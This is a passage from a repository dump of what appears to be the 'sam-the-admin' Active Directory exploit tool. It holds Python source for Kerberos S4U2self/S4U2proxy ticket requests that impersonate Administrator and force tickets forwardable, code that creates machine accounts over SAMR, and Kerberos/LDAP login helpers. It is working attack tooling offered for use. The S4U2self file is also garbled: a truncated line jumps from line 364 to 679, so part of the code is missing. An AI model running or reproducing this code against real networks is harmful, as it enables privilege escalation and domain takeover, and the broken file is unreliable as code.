f"{domain}/{username}" 219 | 220 | samtheadmin(options) 221 | except Exception as e: 222 | if logging.getLogger().level == logging.DEBUG: 223 | import traceback 224 | traceback.print_exc() 225 | print(str(e)) 226 | 227 | -------------------------------------------------------------------------------- /sam-the-admin/utils/S4U2self.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache 12 | # If the account has constrained delegation (with protocol transition) privileges you will be able to use 13 | # the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to 14 | # request the ticket.) 15 | # 16 | # Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) 17 | # 18 | # Examples: 19 | # ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user 20 | # or 21 | # If you have tickets cached (run klist to verify) the script will use them 22 | # ./getST.py -k -spn cifs/contoso-dc contoso.com/user 23 | # Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets 24 | # by default. 25 | # 26 | # Also, if the account is configured with constrained delegation (with protocol transition) you can request 27 | # service tickets for other users, assuming the target SPN is allowed for delegation: 28 | # ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user 29 | # 30 | # The output of this script will be a service ticket for the Administrator user. 31 | # 32 | # Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. 33 | # 34 | # Author: 35 | # Alberto Solino (@agsolino) 36 | # 37 | 38 | from __future__ import division 39 | from __future__ import print_function 40 | import argparse 41 | import datetime 42 | import logging 43 | import os 44 | import random 45 | import struct 46 | import sys 47 | from binascii import hexlify, unhexlify 48 | from six import b 49 | 50 | from pyasn1.codec.der import decoder, encoder 51 | from pyasn1.type.univ import noValue 52 | 53 | from impacket import version 54 | from impacket.examples import logger 55 | from impacket.examples.utils import parse_credentials 56 | from impacket.krb5 import constants 57 | from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ 58 | Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart 59 | from impacket.krb5.ccache import CCache 60 | from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype 61 | from impacket.krb5.constants import TicketFlags, encodeFlags 62 | from impacket.krb5.kerberosv5 import getKerberosTGS 63 | from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive 64 | from impacket.krb5.types import Principal, KerberosTime, Ticket 65 | from impacket.ntlm import compute_nthash 66 | from impacket.winregistry import hexdump 67 | 68 | 69 | class GETST: 70 | def __init__(self, target, password, domain, options, impersonate_target=None,target_spn=None): 71 | self.__password = password 72 | self.__user = target 73 | self.__domain = domain 74 | self.__lmhash = '' 75 | self.__nthash = '' 76 | self.__aesKey = options.aesKey 77 | self.__options = options 78 | self.__kdcHost = options.dc_ip 79 | self.impersonate_target = impersonate_target 80 | self.target_spn = target_spn 81 | self.__force_forwardable = False 82 | self.__additional_ticket = None 83 | self.__saveFileName = None 84 | self.__no_s4u2proxy = True 85 | if options.hashes is not None: 86 | self.__lmhash, self.__nthash = options.hashes.split(':') 87 | 88 | 89 | def saveTicket(self, ticket, sessionKey): 90 | logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) 91 | ccache = CCache() 92 | 93 | ccache.fromTGS(ticket, sessionKey, sessionKey) 94 | ccache.saveFile(self.__saveFileName + '.ccache') 95 | 96 | def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): 97 | if not os.path.isfile(additional_ticket_path): 98 | logging.error("Ticket %s doesn't exist" % additional_ticket_path) 99 | exit(0) 100 | else: 101 | decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] 102 | logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) 103 | ccache = CCache.loadFile(additional_ticket_path) 104 | principal = ccache.credentials[0].header['server'].prettyPrint() 105 | creds = ccache.getCredential(principal.decode()) 106 | TGS = creds.toTGS(principal) 107 | 108 | tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] 109 | 110 | if logging.getLogger().level == logging.DEBUG: 111 | logging.debug('TGS_REP') 112 | print(tgs.prettyPrint()) 113 | 114 | if self.__force_forwardable: 115 | # Convert hashes to binary form, just in case we're receiving strings 116 | if isinstance(nthash, str): 117 | try: 118 | nthash = unhexlify(nthash) 119 | except TypeError: 120 | pass 121 | if isinstance(aesKey, str): 122 | try: 123 | aesKey = unhexlify(aesKey) 124 | except TypeError: 125 | pass 126 | 127 | # Compute NTHash and AESKey if they're not provided in arguments 128 | if self.__password != '' and self.__domain != '' and self.__user != '': 129 | if not nthash: 130 | nthash = compute_nthash(self.__password) 131 | if logging.getLogger().level == logging.DEBUG: 132 | logging.debug('NTHash') 133 | print(hexlify(nthash).decode()) 134 | if not aesKey: 135 | salt = self.__domain.upper() + self.__user 136 | aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents 137 | if logging.getLogger().level == logging.DEBUG: 138 | logging.debug('AESKey') 139 | print(hexlify(aesKey).decode()) 140 | 141 | # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys 142 | cipherText = tgs['ticket']['enc-part']['cipher'] 143 | 144 | # Check which cipher was used to encrypt the ticket. It's not always the same 145 | # This determines which of our keys we should use for decryption/re-encryption 146 | newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] 147 | if newCipher.enctype == Enctype.RC4: 148 | key = Key(newCipher.enctype, nthash) 149 | else: 150 | key = Key(newCipher.enctype, aesKey) 151 | 152 | # Decrypt and decode the ticket 153 | # Key Usage 2 154 | # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or 155 | # application session key), encrypted with the service key 156 | # (section 5.4.2) 157 | plainText = newCipher.decrypt(key, 2, cipherText) 158 | encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] 159 | 160 | # Print the flags in the ticket before modification 161 | logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) 162 | logging.debug('\tService ticket from S4U2self is' 163 | + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') 164 | + ' forwardable') 165 | 166 | # Customize flags the forwardable flag is the only one that really matters 167 | logging.info('\tForcing the service ticket to be forwardable') 168 | # convert to string of bits 169 | flagBits = encTicketPart['flags'].asBinary() 170 | # Set the forwardable flag. Awkward binary string insertion 171 | flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] 172 | # Overwrite the value with the new bits 173 | encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags 174 | 175 | logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) 176 | logging.debug('\tService ticket now is' 177 | + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') 178 | + ' forwardable') 179 | 180 | # Re-encode and re-encrypt the ticket 181 | # Again, Key Usage 2 182 | encodedEncTicketPart = encoder.encode(encTicketPart) 183 | cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) 184 | 185 | # put it back in the TGS 186 | tgs['ticket']['enc-part']['cipher'] = cipherText 187 | 188 | ################################################################################ 189 | # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy 190 | # So here I have a ST for me.. I now want a ST for another service 191 | # Extract the ticket from the TGT 192 | ticketTGT = Ticket() 193 | ticketTGT.from_asn1(decodedTGT['ticket']) 194 | 195 | # Get the service ticket 196 | ticket = Ticket() 197 | ticket.from_asn1(tgs['ticket']) 198 | 199 | apReq = AP_REQ() 200 | apReq['pvno'] = 5 201 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 202 | 203 | opts = list() 204 | apReq['ap-options'] = constants.encodeFlags(opts) 205 | seq_set(apReq, 'ticket', ticketTGT.to_asn1) 206 | 207 | authenticator = Authenticator() 208 | authenticator['authenticator-vno'] = 5 209 | authenticator['crealm'] = str(decodedTGT['crealm']) 210 | 211 | clientName = Principal() 212 | clientName.from_asn1(decodedTGT, 'crealm', 'cname') 213 | 214 | seq_set(authenticator, 'cname', clientName.components_to_asn1) 215 | 216 | now = datetime.datetime.utcnow() 217 | authenticator['cusec'] = now.microsecond 218 | authenticator['ctime'] = KerberosTime.to_asn1(now) 219 | 220 | encodedAuthenticator = encoder.encode(authenticator) 221 | 222 | # Key Usage 7 223 | # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes 224 | # TGS authenticator subkey), encrypted with the TGS session 225 | # key (Section 5.5.1) 226 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) 227 | 228 | apReq['authenticator'] = noValue 229 | apReq['authenticator']['etype'] = cipher.enctype 230 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 231 | 232 | encodedApReq = encoder.encode(apReq) 233 | 234 | tgsReq = TGS_REQ() 235 | 236 | tgsReq['pvno'] = 5 237 | tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 238 | tgsReq['padata'] = noValue 239 | tgsReq['padata'][0] = noValue 240 | tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 241 | tgsReq['padata'][0]['padata-value'] = encodedApReq 242 | 243 | # Add resource-based constrained delegation support 244 | paPacOptions = PA_PAC_OPTIONS() 245 | paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) 246 | 247 | tgsReq['padata'][1] = noValue 248 | tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value 249 | tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) 250 | 251 | reqBody = seq_set(tgsReq, 'req-body') 252 | 253 | opts = list() 254 | # This specified we're doing S4U 255 | opts.append(constants.KDCOptions.cname_in_addl_tkt.value) 256 | opts.append(constants.KDCOptions.canonicalize.value) 257 | opts.append(constants.KDCOptions.forwardable.value) 258 | opts.append(constants.KDCOptions.renewable.value) 259 | 260 | reqBody['kdc-options'] = constants.encodeFlags(opts) 261 | service2 = Principal(self.target_spn, type=constants.PrincipalNameType.NT_SRV_INST.value) 262 | seq_set(reqBody, 'sname', service2.components_to_asn1) 263 | reqBody['realm'] = self.__domain 264 | 265 | myTicket = ticket.to_asn1(TicketAsn1()) 266 | seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) 267 | 268 | now = datetime.datetime.utcnow() + datetime.timedelta(days=1) 269 | 270 | reqBody['till'] = KerberosTime.to_asn1(now) 271 | reqBody['nonce'] = random.getrandbits(31) 272 | seq_set_iter(reqBody, 'etype', 273 | ( 274 | int(constants.EncryptionTypes.rc4_hmac.value), 275 | int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), 276 | int(constants.EncryptionTypes.des_cbc_md5.value), 277 | int(cipher.enctype) 278 | ) 279 | ) 280 | message = encoder.encode(tgsReq) 281 | 282 | logging.info('\tRequesting S4U2Proxy') 283 | r = sendReceive(message, self.__domain, kdcHost) 284 | 285 | tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] 286 | 287 | cipherText = tgs['enc-part']['cipher'] 288 | 289 | # Key Usage 8 290 | # TGS-REP encrypted part (includes application session 291 | # key), encrypted with the TGS session key (Section 5.4.2) 292 | plainText = cipher.decrypt(sessionKey, 8, cipherText) 293 | 294 | encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] 295 | 296 | newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) 297 | 298 | # Creating new cipher based on received keytype 299 | cipher = _enctype_table[encTGSRepPart['key']['keytype']] 300 | 301 | return r, cipher, sessionKey, newSessionKey 302 | 303 | def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): 304 | decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] 305 | # Extract the ticket from the TGT 306 | ticket = Ticket() 307 | ticket.from_asn1(decodedTGT['ticket']) 308 | 309 | apReq = AP_REQ() 310 | apReq['pvno'] = 5 311 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 312 | 313 | opts = list() 314 | apReq['ap-options'] = constants.encodeFlags(opts) 315 | seq_set(apReq, 'ticket', ticket.to_asn1) 316 | 317 | authenticator = Authenticator() 318 | authenticator['authenticator-vno'] = 5 319 | authenticator['crealm'] = str(decodedTGT['crealm']) 320 | 321 | clientName = Principal() 322 | clientName.from_asn1(decodedTGT, 'crealm', 'cname') 323 | 324 | seq_set(authenticator, 'cname', clientName.components_to_asn1) 325 | 326 | now = datetime.datetime.utcnow() 327 | authenticator['cusec'] = now.microsecond 328 | authenticator['ctime'] = KerberosTime.to_asn1(now) 329 | 330 | if logging.getLogger().level == logging.DEBUG: 331 | logging.debug('AUTHENTICATOR') 332 | print(authenticator.prettyPrint()) 333 | print('\n') 334 | 335 | encodedAuthenticator = encoder.encode(authenticator) 336 | 337 | # Key Usage 7 338 | # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes 339 | # TGS authenticator subkey), encrypted with the TGS session 340 | # key (Section 5.5.1) 341 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) 342 | 343 | apReq['authenticator'] = noValue 344 | apReq['authenticator']['etype'] = cipher.enctype 345 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 346 | 347 | encodedApReq = encoder.encode(apReq) 348 | 349 | tgsReq = TGS_REQ() 350 | 351 | tgsReq['pvno'] = 5 352 | tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 353 | 354 | tgsReq['padata'] = noValue 355 | tgsReq['padata'][0] = noValue 356 | tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 357 | tgsReq['padata'][0]['padata-value'] = encodedApReq 358 | 359 | # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service 360 | # requests a service ticket to itself on behalf of a user. The user is 361 | # identified to the KDC by the user's name and realm. 362 | clientName = Principal(self.impersonate_target, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 363 | 364 | S4UByteArray = struct.pack('= 0: 679 | logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) 680 | if str(e).find('KDC_ERR_BADOPTION') >= 0: 681 | logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) 682 | 683 | return 684 | self.__saveFileName = self.impersonate_target 685 | 686 | self.saveTicket(tgs, oldSessionKey) 687 | 688 | -------------------------------------------------------------------------------- /sam-the-admin/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/sam-the-admin/utils/__init__.py -------------------------------------------------------------------------------- /sam-the-admin/utils/addcomputer.py: -------------------------------------------------------------------------------- 1 | from impacket import version 2 | from impacket.examples import logger 3 | from impacket.examples.utils import parse_credentials 4 | from impacket.dcerpc.v5 import samr, epm, transport 5 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech 6 | 7 | import ldap3 8 | import argparse 9 | import logging 10 | import sys 11 | import string 12 | import random 13 | import ssl 14 | import os 15 | from binascii import unhexlify 16 | 17 | 18 | class AddComputerSAMR: 19 | 20 | def __init__(self, username, password, domain, cmdLineOptions,computer_name=None,computer_pass=None): 21 | self.options = cmdLineOptions 22 | self.__username = username 23 | self.__password = password 24 | self.__domain = domain 25 | self.__lmhash = '' 26 | self.__nthash = '' 27 | self.__hashes = cmdLineOptions.hashes 28 | self.__aesKey = cmdLineOptions.aesKey 29 | self.__doKerberos = cmdLineOptions.k 30 | self.__target = cmdLineOptions.dc_host 31 | self.__kdcHost = cmdLineOptions.dc_host 32 | self.__computerName = computer_name 33 | self.__computerPassword = computer_pass 34 | self.__method = 'SAMR' 35 | self.__port = cmdLineOptions.port 36 | self.__domainNetbios = cmdLineOptions.domain_netbios 37 | self.__noAdd = False 38 | self.__delete = False 39 | self.__targetIp = cmdLineOptions.dc_ip 40 | 41 | if self.__targetIp is not None: 42 | self.__kdcHost = self.__targetIp 43 | 44 | 45 | if self.__doKerberos and cmdLineOptions.dc_host is None: 46 | raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.") 47 | 48 | 49 | if cmdLineOptions.hashes is not None: 50 | self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') 51 | 52 | # if self.__computerName is None: 53 | # if self.__noAdd: 54 | # raise ValueError("You have to provide a computer name when using -no-add.") 55 | # elif self.__delete: 56 | # raise ValueError("You have to provide a computer name when using -delete.") 57 | # else: 58 | # if self.__computerName[-1] != '$': 59 | # self.__computerName += '$' 60 | 61 | if self.__computerPassword is None: 62 | self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) 63 | 64 | if self.__target is None: 65 | self.__target = self.__domain 66 | 67 | if self.__port is None: 68 | if self.__method == 'SAMR': 69 | self.__port = 445 70 | elif self.__method == 'LDAPS': 71 | self.__port = 636 72 | 73 | if self.__domainNetbios is None: 74 | self.__domainNetbios = self.__domain 75 | 76 | 77 | 78 | def run_samr(self): 79 | if self.__targetIp is not None: 80 | stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') 81 | else: 82 | stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') 83 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 84 | rpctransport.set_dport(self.__port) 85 | 86 | if self.__targetIp is not None: 87 | rpctransport.setRemoteHost(self.__targetIp) 88 | rpctransport.setRemoteName(self.__target) 89 | 90 | if hasattr(rpctransport, 'set_credentials'): 91 | # This method exists only for selected protocol sequences. 92 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, 93 | self.__nthash, self.__aesKey) 94 | 95 | rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 96 | self.doSAMRAdd(rpctransport) 97 | 98 | def generateComputerName(self): 99 | return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$') 100 | 101 | def doSAMRAdd(self, rpctransport): 102 | dce = rpctransport.get_dce_rpc() 103 | servHandle = None 104 | domainHandle = None 105 | userHandle = None 106 | try: 107 | dce.connect() 108 | dce.bind(samr.MSRPC_UUID_SAMR) 109 | 110 | samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target, 111 | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN ) 112 | servHandle = samrConnectResponse['ServerHandle'] 113 | 114 | samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle) 115 | domains = samrEnumResponse['Buffer']['Buffer'] 116 | domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains)) 117 | 118 | if len(domainsWithoutBuiltin) > 1: 119 | domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains)) 120 | if len(domain) != 1: 121 | logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios) 122 | logging.critical("Available domain(s):") 123 | for domain in domains: 124 | logging.error(" * %s" % domain['Name']) 125 | logging.critical("Consider using -domain-netbios argument to specify which one you meant.") 126 | raise Exception() 127 | else: 128 | selectedDomain = domain[0]['Name'] 129 | else: 130 | selectedDomain = domainsWithoutBuiltin[0]['Name'] 131 | 132 | samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain) 133 | domainSID = samrLookupDomainResponse['DomainId'] 134 | 135 | if logging.getLogger().level == logging.DEBUG: 136 | logging.info("Opening domain %s..." % selectedDomain) 137 | samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID) 138 | domainHandle = samrOpenDomainResponse['DomainHandle'] 139 | 140 | 141 | if self.__noAdd or self.__delete: 142 | try: 143 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 144 | except samr.DCERPCSessionError as e: 145 | if e.error_code == 0xc0000073: 146 | raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain)) 147 | else: 148 | raise 149 | 150 | userRID = checkForUser['RelativeIds']['Element'][0] 151 | if self.__delete: 152 | access = samr.DELETE 153 | message = "delete" 154 | else: 155 | access = samr.USER_FORCE_PASSWORD_CHANGE 156 | message = "set password for" 157 | try: 158 | openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID) 159 | userHandle = openUser['UserHandle'] 160 | except samr.DCERPCSessionError as e: 161 | if e.error_code == 0xc0000022: 162 | raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) 163 | else: 164 | raise 165 | else: 166 | if self.__computerName is not None: 167 | try: 168 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 169 | raise Exception("Account %s already exists!" % self.__computerName) 170 | except samr.DCERPCSessionError as e: 171 | if e.error_code != 0xc0000073: 172 | raise 173 | else: 174 | foundUnused = False 175 | while not foundUnused: 176 | self.__computerName = self.generateComputerName() 177 | try: 178 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 179 | except samr.DCERPCSessionError as e: 180 | if e.error_code == 0xc0000073: 181 | foundUnused = True 182 | else: 183 | raise 184 | 185 | try: 186 | createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,) 187 | except samr.DCERPCSessionError as e: 188 | if e.error_code == 0xc0000022: 189 | raise Exception("User %s doesn't have right to create a machine account!" % self.__username) 190 | elif e.error_code == 0xc00002e7: 191 | raise Exception("User %s machine quota exceeded!" % self.__username) 192 | else: 193 | raise 194 | 195 | userHandle = createUser['UserHandle'] 196 | 197 | if self.__delete: 198 | samr.hSamrDeleteUser(dce, userHandle) 199 | logging.info("Successfully deleted %s." % self.__computerName) 200 | userHandle = None 201 | else: 202 | samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword) 203 | if self.__noAdd: 204 | logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) 205 | else: 206 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 207 | userRID = checkForUser['RelativeIds']['Element'][0] 208 | openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID) 209 | userHandle = openUser['UserHandle'] 210 | req = samr.SAMPR_USER_INFO_BUFFER() 211 | req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation 212 | req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT 213 | samr.hSamrSetInformationUser2(dce, userHandle, req) 214 | logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) 215 | 216 | except Exception as e: 217 | if logging.getLogger().level == logging.DEBUG: 218 | import traceback 219 | traceback.print_exc() 220 | 221 | logging.critical(str(e)) 222 | finally: 223 | if userHandle is not None: 224 | samr.hSamrCloseHandle(dce, userHandle) 225 | if domainHandle is not None: 226 | samr.hSamrCloseHandle(dce, domainHandle) 227 | if servHandle is not None: 228 | samr.hSamrCloseHandle(dce, servHandle) 229 | dce.disconnect() 230 | 231 | def run(self,delete=False): 232 | self.__delete = delete 233 | self.run_samr() 234 | 235 | 236 | 237 | -------------------------------------------------------------------------------- /sam-the-admin/utils/helper.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | import sys 4 | import traceback 5 | import ldap3 6 | import ssl 7 | import ldapdomaindump 8 | from binascii import unhexlify 9 | import os 10 | import json 11 | from impacket import version 12 | from impacket.examples import logger, utils 13 | from impacket.smbconnection import SMBConnection 14 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech 15 | from ldap3.utils.conv import escape_filter_chars 16 | 17 | 18 | from impacket import version 19 | from impacket.examples import logger 20 | from impacket.examples.utils import parse_credentials 21 | from impacket.krb5.kerberosv5 import getKerberosTGT 22 | from impacket.krb5 import constants 23 | from impacket.krb5.types import Principal 24 | 25 | 26 | def get_machine_name(args, domain): 27 | if args.dc_ip is not None: 28 | s = SMBConnection(args.dc_ip, args.dc_ip) 29 | else: 30 | s = SMBConnection(domain, domain) 31 | try: 32 | s.login('', '') 33 | except Exception: 34 | if s.getServerName() == '': 35 | raise Exception('Error while anonymous logging into %s' % domain) 36 | else: 37 | s.logoff() 38 | return s.getServerName() 39 | 40 | 41 | def parse_identity(args): 42 | domain, username, password = utils.parse_credentials(args.account) 43 | 44 | if domain == '': 45 | logging.critical('Domain should be specified!') 46 | sys.exit(1) 47 | 48 | if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: 49 | from getpass import getpass 50 | logging.info("No credentials supplied, supply password") 51 | password = getpass("Password:") 52 | 53 | if args.aesKey is not None: 54 | args.k = True 55 | 56 | if args.hashes is not None: 57 | lmhash, nthash = args.hashes.split(':') 58 | else: 59 | lmhash = '' 60 | nthash = '' 61 | 62 | return domain, username, password, lmhash, nthash 63 | 64 | def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, 65 | TGT=None, TGS=None, useCache=True): 66 | from pyasn1.codec.ber import encoder, decoder 67 | from pyasn1.type.univ import noValue 68 | """ 69 | logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. 70 | :param string user: username 71 | :param string password: password for the user 72 | :param string domain: domain where the account is valid for (required) 73 | :param string lmhash: LMHASH used to authenticate using hashes (password is not used) 74 | :param string nthash: NTHASH used to authenticate using hashes (password is not used) 75 | :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication 76 | :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) 77 | :param struct TGT: If there's a TGT available, send the structure here and it will be used 78 | :param struct TGS: same for TGS. See smb3.py for the format 79 | :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False 80 | :return: True, raises an Exception if error. 81 | """ 82 | 83 | if lmhash != '' or nthash != '': 84 | if len(lmhash) % 2: 85 | lmhash = '0' + lmhash 86 | if len(nthash) % 2: 87 | nthash = '0' + nthash 88 | try: # just in case they were converted already 89 | lmhash = unhexlify(lmhash) 90 | nthash = unhexlify(nthash) 91 | except TypeError: 92 | pass 93 | 94 | # Importing down here so pyasn1 is not required if kerberos is not used. 95 | from impacket.krb5.ccache import CCache 96 | from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set 97 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 98 | from impacket.krb5 import constants 99 | from impacket.krb5.types import Principal, KerberosTime, Ticket 100 | import datetime 101 | 102 | if TGT is not None or TGS is not None: 103 | useCache = False 104 | 105 | if useCache: 106 | try: 107 | ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) 108 | except Exception as e: 109 | # No cache present 110 | print(e) 111 | pass 112 | else: 113 | # retrieve domain information from CCache file if needed 114 | if domain == '': 115 | domain = ccache.principal.realm['data'].decode('utf-8') 116 | logging.debug('Domain retrieved from CCache: %s' % domain) 117 | 118 | logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) 119 | principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) 120 | 121 | creds = ccache.getCredential(principal) 122 | if creds is None: 123 | # Let's try for the TGT and go from there 124 | principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) 125 | creds = ccache.getCredential(principal) 126 | if creds is not None: 127 | TGT = creds.toTGT() 128 | logging.debug('Using TGT from cache') 129 | else: 130 | logging.debug('No valid credentials found in cache') 131 | else: 132 | TGS = creds.toTGS(principal) 133 | logging.debug('Using TGS from cache') 134 | 135 | # retrieve user information from CCache file if needed 136 | if user == '' and creds is not None: 137 | user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') 138 | logging.debug('Username retrieved from CCache: %s' % user) 139 | elif user == '' and len(ccache.principal.components) > 0: 140 | user = ccache.principal.components[0]['data'].decode('utf-8') 141 | logging.debug('Username retrieved from CCache: %s' % user) 142 | 143 | # First of all, we need to get a TGT for the user 144 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 145 | if TGT is None: 146 | if TGS is None: 147 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, 148 | aesKey, kdcHost) 149 | else: 150 | tgt = TGT['KDC_REP'] 151 | cipher = TGT['cipher'] 152 | sessionKey = TGT['sessionKey'] 153 | 154 | if TGS is None: 155 | serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value) 156 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, 157 | sessionKey) 158 | else: 159 | tgs = TGS['KDC_REP'] 160 | cipher = TGS['cipher'] 161 | sessionKey = TGS['sessionKey'] 162 | 163 | # Let's build a NegTokenInit with a Kerberos REQ_AP 164 | 165 | blob = SPNEGO_NegTokenInit() 166 | 167 | # Kerberos 168 | blob['MechTypes'] = 